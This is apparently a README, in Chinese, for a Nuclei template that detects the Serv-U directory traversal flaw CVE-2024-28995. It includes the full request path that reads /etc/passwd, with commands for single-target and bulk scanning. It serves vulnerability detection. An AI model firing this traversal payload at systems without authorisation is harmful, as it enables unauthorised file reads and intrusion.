Serv-U 目录遍历漏洞检测模板 (CVE-2024-28995)
一个专业的 Nuclei 安全扫描模板,用于检测 Serv-U 文件传输服务器 15.4.2 及以下版本中的目录遍历漏洞。该漏洞(CVE-2024-28995)允许攻击者通过精心构造的请求读取系统上的任意敏感文件。
功能特性
- 精准漏洞检测:针对 CVE-2024-28995 目录遍历漏洞进行专门检测
- 多条件匹配:结合响应状态码、响应体关键词和响应头 Server 字段进行综合判断
- 敏感文件验证:通过尝试读取
/etc/passwd文件并匹配用户条目来确认漏洞存在 - 易于集成:符合 Nuclei 模板规范,可无缝集成到自动化安全扫描流程中
- 低误报设计:同时匹配文件内容特征和服务器类型,有效减少误报
安装指南
前置要求
- Nuclei 引擎(v2.0.0 或更高版本)
- 目标 Serv-U 服务器版本 ≤ 15.4.2
安装步骤
-
确保 Nuclei 已安装
nuclei -version如果未安装,请参考官方文档进行安装:
# Go 安装方式 go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest -
保存模板文件 将以下内容保存为
CVE-2024-28995.yaml:id: CVE-2024-28995 info: name: Serv-U Directory Traversal Vulnerability author: Hüseyin TINTAŞ severity: high description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd. reference: - https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis tags: pathtraversal,cve,high,serv-u requests: - method: GET path: - "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd" matchers-condition: and matchers: - type: word words: - "root:x:" - "daemon:x:" - "bin:x:" part: body - type: status status: - 200 - type: word words: - "Server: Serv-U" part: header
使用说明
基础用法
扫描单个目标 URL:
nuclei -t CVE-2024-28995.yaml -u http://target-ip:port
典型使用场景
1. 批量扫描多个目标
创建一个 targets.txt 文件,每行一个目标 URL:
http://192.168.1.100:8080
http://192.168.1.101:8080
https://servu.example.com
执行批量扫描:
nuclei -t CVE-2024-28995.yaml -l targets.txt
2. 详细输出模式
获取更详细的扫描信息:
nuclei -t CVE-2024-28995.yaml -u http://target-ip:8080 -verbose
3. 输出结果到文件
将扫描结果保存到 JSON 文件:
nuclei -t CVE-2024-28995.yaml -u http://target-ip:8080 -json -o results.json
4. 与其他模板组合使用
同时运行多个漏洞检测:
nuclei -t cves/ -u http://target-ip:8080 -tags cve
扫描结果解读
- 发现漏洞时:Nuclei 会输出红色的 [HIGH] 级别告警,显示漏洞详情
- 未发现漏洞时:无输出或显示扫描完成信息
- 匹配逻辑:同时满足以下三个条件才判定为存在漏洞:
- HTTP 响应状态码为 200
- 响应体中包含
/etc/passwd特征字符串(如root:x:) - 响应头中包含
Server: Serv-U
核心代码
以下是模板的核心检测逻辑解析:
# 模板唯一标识符
id: CVE-2024-28995
# 漏洞信息元数据
info:
name: Serv-U Directory Traversal Vulnerability
author: Hüseyin TINTAŞ
severity: high # 高危漏洞
description: 检测 Serv-U 15.4.2 及以下版本中的目录遍历漏洞
tags: pathtraversal,cve,high,serv-u
# 检测请求定义
requests:
- method: GET # 使用 GET 方法发送请求
# 构造目录遍历路径
# 使用反斜杠遍历目录,尝试读取 /etc/passwd 文件
path:
- "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
# 匹配条件:所有条件必须同时满足(AND 逻辑)
matchers-condition: and
# 定义匹配器列表
matchers:
# 匹配器 1:检查响应体中的关键词
- type: word
words:
- "root:x:" # Linux passwd 文件特征
- "daemon:x:" # 系统用户条目
- "bin:x:" # 系统用户条目
part: body # 在响应体中匹配
# 匹配器 2:检查 HTTP 状态码
- type: status
status:
- 200 # 请求成功
# 匹配器 3:检查响应头中的服务器类型
- type: word
words:
- "Server: Serv-U" # 确认目标为 Serv-U 服务器
part: header # 在响应头中匹配
检测原理说明:
- 路径遍历构造:通过
InternalDir参数使用\..序列向上遍历目录,结合InternalFile参数指定目标文件 - 敏感文件读取:尝试读取 Linux 系统的
/etc/passwd文件 - 特征匹配验证:同时检查文件内容特征、服务器类型和响应状态,确保准确识别漏洞 6HFtX5dABrKlqXeO5PUv/waQEpqmnQorg25hgqPbIJOKjaOnyJA5WlX85EPQWsw7